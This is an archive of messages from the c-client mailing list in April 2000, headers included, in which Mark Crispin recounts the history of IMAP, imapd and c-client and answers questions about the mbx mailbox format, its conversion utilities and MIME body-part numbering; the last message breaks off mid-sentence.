lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30507; Sun, 9 Apr 2000 10:57:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA07296; Sun, 9 Apr 2000 10:57:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA05468 for ; Sun, 9 Apr 2000 10:55:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (satori@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA10013 for ; Sun, 9 Apr 2000 10:55:44 -0700 Message-Id: Date: Sun, 9 Apr 2000 10:34:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Kevin W. Mullet" Cc: c-client Subject: re: UW IMAP installation base and history In-Reply-To: <1791252388.955273992@KEVINMUL> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 09 Apr 2000 09:53:12 -0500, Kevin W. Mullet wrote: > Does anyone have an idea of what the installed base of UW IMAP is? It exists on tens of thousands of sites worldwide, since it is bundled with Pine. I don't know how many of those sites actually use it. > What operating systems include UW IMAP by default? Most versions of Linux do. > Also, docs/internal.txt gives an overview of some of the history of > c-client, but what of UW IMAPd in particular? Could Mark C. or > someone followup with an outline of how long imapd's been part of the > c-client distribution, and a little bit about its history? I wrote imapd on November 5, 1990. Because I used c-client, it took only a couple of days to write imapd. If you have the right underlying structures and tools, any project can be reduced to triviality. I wrote imapd because I was dissatisfied with the UNIX IMAP server that existed at the time. imapd quickly replaced that older server, particularly when the MIME functionality (IMAP2bis) was added the next year. >From inception, imapd supported multiple simultaneous access to a mail file using tenex format. Experts Who Knew More Than Me told me that it was "impossible" to do that on UNIX. I grit my teeth every time some clown today tries to lecture me about multiple simultaneous access to a mail file. Later, imapd added support for the traditional UNIX mailbox format. I didn't want to do it, because of the limitations of that format, such as not being able to have multiple simultaneous access because of the requirements of external legacy UNIX programs. Support for these legacy programs was the whole reason to implement traditional UNIX format. Support for several other formats was added later. From pinedev@shivax2.cac.washington.edu Sun Apr 9 15:37:05 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 9 Apr 2000 15:37:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA19644 for ; Sun, 9 Apr 2000 15:37:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02183; Sun, 9 Apr 2000 15:36:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA23047; Sun, 9 Apr 2000 15:35:24 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA35278 for ; Sun, 9 Apr 2000 15:31:26 -0700 Received: from speedy.swi.com.br (speedy.swi.com.br [200.203.204.150]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA01643 for ; Sun, 9 Apr 2000 15:31:20 -0700 Received: from speedy.swi.com.br (localhost [127.0.0.1]) by speedy.swi.com.br (8.9.3/8.9.3) with ESMTP id TAA01657; Mon, 10 Apr 2000 19:30:39 -0300 Message-Id: <200004102230.TAA01657@speedy.swi.com.br> Date: Mon, 10 Apr 2000 19:30:39 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: r@bol.com.br Cc: c-client Subject: Re: UW IMAP installation base and history Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, >Later, imapd added support for the traditional UNIX mailbox format. I didn't >want to do it, because of the limitations of that format, such as not being >able to have multiple simultaneous access because of the requirements of >external legacy UNIX programs. Support for these legacy programs was the >whole reason to implement traditional UNIX format. Let me do a few newbie questions. What is the best file format for imapd/pop3d ? Reading the docs I suppect it is mbx, right? If it is, it is possibe to use sendmail/procmail to save the files as mbx? Can I convert Unix milbox files easily? Will this speedup performance for imapd and pop3d, specially with large mailboxes? Before I start asking some more basic/nonsense/newbie questions, where can I find more documentation about it (mbx), besides the imapd package? Thaks Raul Dias From pinedev@shivax2.cac.washington.edu Sun Apr 9 15:42:02 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 9 Apr 2000 15:42:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA18694 for ; Sun, 9 Apr 2000 15:42:00 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA09498; Sun, 9 Apr 2000 15:41:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA18516; Sun, 9 Apr 2000 15:41:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA23900 for ; Sun, 9 Apr 2000 15:39:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (cecil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02276 for ; Sun, 9 Apr 2000 15:39:33 -0700 Message-Id: Date: Sun, 9 Apr 2000 15:37:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client Subject: Re: UW IMAP installation base and history In-Reply-To: <200004102230.TAA01657@speedy.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 10 Apr 2000 19:30:39 -0300, Raul Dias wrote: > What is the best file format for imapd/pop3d ? mbx > Reading the docs I suppect it is mbx, right? Correct > If it is, it is possibe to use sendmail/procmail to save the files as mbx? Yes. Look at the tmail and dmail programs, which are part of the imap-utils: ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z > Can I convert Unix milbox files easily? Yes. Look at the mbxcvt program, which is part of the imap-utils. > Will this speedup performance for imapd and pop3d, specially with large > mailboxes? Yes. > Before I start asking some more basic/nonsense/newbie questions, where can I > find more documentation about it (mbx), besides the imapd package? I'm not aware of any third-party documentation. mbx is a private format to the UW IMAP toolkit. From pinedev@shivax2.cac.washington.edu Sun Apr 9 15:45:43 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 9 Apr 2000 15:45:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA11958 for ; Sun, 9 Apr 2000 15:45:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02394; Sun, 9 Apr 2000 15:45:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA18723; Sun, 9 Apr 2000 15:45:03 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA39728 for ; Sun, 9 Apr 2000 15:43:33 -0700 Received: from security.unt.edu (nec.unt.edu [129.120.210.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA07284 for ; Sun, 9 Apr 2000 15:43:32 -0700 Received: from KEVINMUL (rooster.themullets.net [209.223.13.243]) by security.unt.edu (8.8.8/8.8.8) with ESMTP id RAA24107; Sun, 9 Apr 2000 17:43:58 -0500 (CDT) Message-Id: <1819417078.955302156@KEVINMUL> Date: Sun, 09 Apr 2000 17:42:36 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client Cc: Mark Crispin Subject: re: UW IMAP installation base and history In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-FYI: The domain kwm.net is now defunct. Use themullets.net instead. X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Sunday, April 09, 2000 10:34 AM -0700 Mark Crispin wrote: > On Sun, 09 Apr 2000 09:53:12 -0500, Kevin W. Mullet wrote: >> Does anyone have an idea of what the installed base of UW IMAP is? > It exists on tens of thousands of sites world-wide, since it is > bundled with Pine. I don't know how many of those sites actually > use it. Do you (or anyone else in listening range) have anecdotal information about some of the largest sites running UW and what, if any, kinds of modifications/extensions they've made to do so? Clearly, running UW on a small to medium sized site is a very easy thing to do. How about sites >10k users? >100k users? >> What operating systems include UW IMAP by default? > Most versions of Linux do. I'd suspect that because of this, the growth of UW IMAP and, by extension, the growth of the IMAP itself is tied somewhat to the growth of linux. I've assumed from early on, that you, Mark, actually came up with IMAP, but I guess it bears asking out loud. Did you "invent" IMAP, or were you an early "adoptive parent" who took an existing protocol through the RFC peer review process and has been a primary researcher/developer since? >> Also, docs/internal.txt gives an overview of some of the history of >> c-client, but what of UW IMAPd in particular? Could Mark C. or >> someone followup with an outline of how long imapd's been part of >> the c-client distribution, and a little bit about its history? > I wrote imapd on November 5, 1990. Because I used c-client, it > took only a couple of days to write imapd. If you have the right > underlying structures and tools, any project can be reduced to > triviality. I get the sense from docs/internal.txt that c-client itself originated with Frank Gilmurrary and Bill Yeager at Stanford. Who developed the first version of c-client, and when? [...] > Later, imapd added support for the traditional UNIX mailbox format. > I didn't want to do it, because of the limitations of that format, > such as not being able to have multiple simultaneous access because > of the requirements of external legacy UNIX programs. Support for > these legacy programs was the whole reason to implement traditional > UNIX format. [...] Said legacy programs being /bin/mail or whatever MDA is in use by Sendmail or whatever is the MTA de jour? Ever been tempted to write a delivery agent to go along with UW IMAP, or would that necessitate Yet Another Mail Format? Finally, I'd like to sound you and the C-CLIENTele about a broader structural issue (Maybe this is best posted to comp.sys.mail instead...). Clearly, Sendmail (when run as a message-accepting daemon servicing a TCP/25 listen) is an Mail Transport Agent, and procmail or mail.local is a Mail Delivery Agent and Pine, Outlook Express or Mulberry is a Mail User Agent. As what would you classify the user's imapd process on the mail server? To my mind, it's a server-side MUA, since the process is dedicated to the users' communication with their mailbox or other mailboxes to which they have read access. That process is there exclusively to complete the transactions requested by the mail client. Is there a consensus as to what IMAPd (or POP3d processes, for that matter) are in this model? Thanks, -KwM- -- Kevin W. Mullet University of North Texas From pinedev@shivax2.cac.washington.edu Sun Apr 9 16:43:07 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 9 Apr 2000 16:43:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA15644 for ; Sun, 9 Apr 2000 16:43:05 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA10564; Sun, 9 Apr 2000 16:43:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA24252; Sun, 9 Apr 2000 16:42:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA53380 for ; Sun, 9 Apr 2000 16:39:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (kung@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA05669 for ; Sun, 9 Apr 2000 16:39:18 -0700 Message-Id: Date: Sun, 9 Apr 2000 15:48:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Kevin W. Mullet" Cc: c-client Subject: re: UW IMAP installation base and history In-Reply-To: <1819417078.955302156@KEVINMUL> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 09 Apr 2000 17:42:36 -0500, Kevin W. Mullet wrote: > Do you (or anyone else in listening range) have anecdotal information > about some of the largest sites running UW and what, if any, kinds of > modifications/extensions they've made to do so? Clearly, running UW > on a small to medium sized site is a very easy thing to do. How > about sites >10k users? >100k users? All I can say is that we run it for our 80K user community. > I'd suspect that because of this, the growth of UW IMAP and, by > extension, the growth of the IMAP itself is tied somewhat to the > growth of linux. I disagree. Pine proliferated IMAP for many years before Linux was commonly available. IMAP was already exploding when Linux appeared on the scene. > I've assumed from early on, that you, Mark, actually came up with > IMAP, but I guess it bears asking out loud. Did you "invent" IMAP, > or were you an early "adoptive parent" who took an existing protocol > through the RFC peer review process and has been a primary > researcher/developer since? I invented IMAP entirely on my own in 1985. I was told to "do distributed mail" without much additional guidance. Other than that, I had a free hand. All of IMAP2 (RFC 1176) is my design; the only external influence was the addition of command tags at the behest of my co-workers at Stanford (this was the change from IMAP to IMAP2). In the end, very few implementations actually use tags (to have multiple commands in progress). Command tags and the IMAP2 FIND command were the only external influence from Stanford. The MIME extensions (BODY) are entirely my design as well; and I put a lot of effort into the design of MIME to make it IMAP-friendly. Subsequent additions (APPEND, CREATE, DELETE, RENAME, UIDs, hierarchy, partial fetching, etc.) that also went into IMAP4 and IMAP4rev1 reflected community involvement. But I wrote the text in the specification. In short, the first 9 years of IMAP were entirely mine with minimal external influence. There was another year or so in which CMU was the primary external influence. > I get the sense from docs/internal.txt that c-client itself > originated with Frank Gilmurrary and Bill Yeager at Stanford. Who > developed the first version of c-client, and when? You misread what internal.txt said: The c-client API was originally written by Mark Crispin at Stanford University as a set of routines to support IMAP and SMTP from a main program which would handle the user interface. In its original form, it was written as the low-level routines that were to be used as part of a Macintosh client. [. . .] The real Mac client, was eventually written by Frank Gilmurrary and Bill Yeager at Stanford using the autumn 1988 version of c-client and named "MacMS". I designed and wrote all of c-client, and started on c-client in 1988. In inception, it was a C port of the Interlisp-D client code that I wrote; and some recognizable influence exists today between the imap4r1.c C file and the IMAP2 Lisp file. That's why it's called c-client. It's the C client, as distinct from the Lisp client. Perhaps imapd should have been called the C server, as distinct from the TOPS-20 assembly language server, but it wasn't. Frank and Bill wrote an early user application (MacMS) that used c-client, but they did not write any of c-client. Other early c-client based applications were mtest, MS (UNIX text program, looks like MM), and MailManager (NeXT GUI program); all written by me. mtest, MS, and MailManager all appeared before MacMS did. Pine was the first widely-distributed c-client application; and today Pine, imapd, and ipop3d are the most widely-used c-client applications. Earlier IMAP software was an Interlisp-D client called MM-D and a TOPS-20 server, both written by me in 1985/1986. Bill wrote the first UNIX server around 1987. All of these early programs are now extinct. MacMS is probably also moribund; if it had used a modern version of c-client it may have lasted longer, but it used the old c-client code that I wrote at Stanford and never upgraded to a modern UW c-client. In all fairness, that group at Stanford had severe funding cuts. I turned out to be the first of a flood of people who left. In a few years, Frank, Bill, and all the other senior people were gone. That organization no longer exists. The group that I joined at UW was a vibrant new entity; and while it is no longer "new" it certainly remains quite vibrant. > Said legacy programs being /bin/mail or whatever MDA is in use by > Sendmail or whatever is the MTA de jour? Yes. > Ever been tempted to write > a delivery agent to go along with UW IMAP, or would that necessitate > Yet Another Mail Format? tmail and dmail are both MDAs that go along with UW imapd. See the imap-utils ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z for them. > As what would you classify the user's imapd process on the mail > server? imapd is an MUA. If you have to distinguish it from IMAP clients, how about MAA (Mail Access Agent)? From pinedev@shivax2.cac.washington.edu Mon Apr 10 05:14:11 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2000 05:14:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA09628 for ; Mon, 10 Apr 2000 05:14:09 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA21952; Mon, 10 Apr 2000 05:14:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA01657; Mon, 10 Apr 2000 05:13:40 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA42462 for ; Mon, 10 Apr 2000 05:12:35 -0700 Received: from webfoundry.co.uk (mailhost.thelinx.co.uk [194.203.169.9]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA19972 for ; Mon, 10 Apr 2000 05:12:31 -0700 Received: from webfoundry.co.uk (leent.webfoundry.co.uk [10.1.1.100]) by webfoundry.co.uk (8.9.3/8.9.3) with ESMTP id NAA06394 for ; Mon, 10 Apr 2000 13:11:54 +0100 Message-Id: <38F1C647.85853633@webfoundry.co.uk> Date: Mon, 10 Apr 2000 13:17:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lee Shakespeare To: c-client Subject: mbx system format References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Mon, 10 Apr 2000 19:30:39 -0300, Raul Dias wrote: > > What is the best file format for imapd/pop3d ? > > mbx > Speaking of mbx. What's the best way of making imapd default to mbx for all folders, not just the INBOX? I've read the documentation about .imaprc but don't particually want to get into all that. Is there a way of defining the default mailbox format for all folders to be mbx at compile time? Regards, Lee -- Lee Shakespeare : lee@webfoundry.co.uk -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 10 06:04:20 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2000 06:04:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA29397 for ; Mon, 10 Apr 2000 06:04:19 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA22753; Mon, 10 Apr 2000 06:04:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id GAA25692; Mon, 10 Apr 2000 06:02:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id GAA15526 for ; Mon, 10 Apr 2000 06:02:05 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (martell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA22781 for ; Mon, 10 Apr 2000 06:02:05 -0700 Message-Id: Date: Mon, 10 Apr 2000 06:00:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lee Shakespeare Cc: c-client Subject: re: mbx system format In-Reply-To: <38F1C647.85853633@webfoundry.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 10 Apr 2000 13:17:11 +0100, Lee Shakespeare wrote: > Speaking of mbx. What's the best way of making imapd default to mbx for > all folders, not just the INBOX? I've read the documentation about > .imaprc but don't particually want to get into all that. Is there a way > of defining the default mailbox format for all folders to be mbx at > compile time? In the imap-4.[]/src/osdep/unix/Makefile, change CREATEPROTO=unixproto to CREATEPROTO=mbxproto This is, in fact, the preferred method over the imaprc kludge. From pinedev@shivax2.cac.washington.edu Mon Apr 10 08:57:57 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2000 08:57:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA31207 for ; Mon, 10 Apr 2000 08:57:56 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA19011; Mon, 10 Apr 2000 08:57:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA14299; Mon, 10 Apr 2000 08:56:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA27620 for ; Mon, 10 Apr 2000 08:53:12 -0700 Received: from ares.voicerite.com (totalcall.com [216.235.96.73]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA03745 for ; Mon, 10 Apr 2000 08:53:10 -0700 Received: from voicerite.com ([192.168.1.82]) by ares.voicerite.com (8.8.3/8.8.3) with ESMTP id LAA26310 for ; Mon, 10 Apr 2000 11:56:45 -0400 Message-Id: <38F1F8F4.4B5EE04A@voicerite.com> Date: Mon, 10 Apr 2000 11:53:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: gcoll@voicerite.com To: c-client Subject: TYPEMESSAGE body. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,pdf X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a way to retrieve the 'body' of an encapsulated message which will not include the 'header' info? In testing, I receive a TYPEMULTIPART message. It includes a TYPETEXT part and a TYPEMESSAGE part. Since I am using mail_fetchbody_full() with a 'section' of "2", I get the information in the TYPEMESSAGE part. But it includes all the MIME header stuff. Thanx, Gus Coll -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 10 10:27:34 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2000 10:27:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA18571 for ; Mon, 10 Apr 2000 10:27:33 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA29374; Mon, 10 Apr 2000 10:27:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA14780; Mon, 10 Apr 2000 10:26:39 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA29082 for ; Mon, 10 Apr 2000 10:25:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30880 for ; Mon, 10 Apr 2000 10:25:32 -0700 Message-Id: Date: Mon, 10 Apr 2000 10:24:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: gcoll@voicerite.com Cc: c-client Subject: re: TYPEMESSAGE body. In-Reply-To: <38F1F8F4.4B5EE04A@voicerite.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN TYPEMESSAGE body parts nest in a similar fashion to TYPEMULTIPART parts. So, if part 2.3 is TYPEMESSAGE, then 2.3.1 is the first (or only) body part of that message. On Mon, 10 Apr 2000 11:53:24 -0400, gcoll@voicerite.com wrote: > Is there a way to retrieve the 'body' of an encapsulated message which > will not include the 'header' info? > > In testing, I receive a TYPEMULTIPART message. It includes a > TYPETEXT part and a TYPEMESSAGE part. Since I am using > mail_fetchbody_full() with a 'section' of "2", I get the information > in the TYPEMESSAGE part. But it includes all the MIME header stuff. From pinedev@shivax2.cac.washington.edu Mon Apr 10 16:09:52 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2000 16:09:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA06093 for ; Mon, 10 Apr 2000 16:09:50 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA07349; Mon, 10 Apr 2000 16:09:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA07914; Mon, 10 Apr 2000 16:09:11 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA29174 for ; Mon, 10 Apr 2000 16:07:48 -0700 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA10462 for ; Mon, 10 Apr 2000 16:07:43 -0700 Received: from speedy.swi.com.br (speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.3/8.9.3) with ESMTP id UAA03721 for ; Mon, 10 Apr 2000 20:07:46 -0300 Message-Id: <200004102307.UAA03721@stratus.swi.com.br> Date: Mon, 10 Apr 2000 20:07:46 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: Mail-Cclient and Perl 5.6.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, As it is c-client related, I am posting this here :-) Has someone tried to compile Mail-Cclient module with Perl 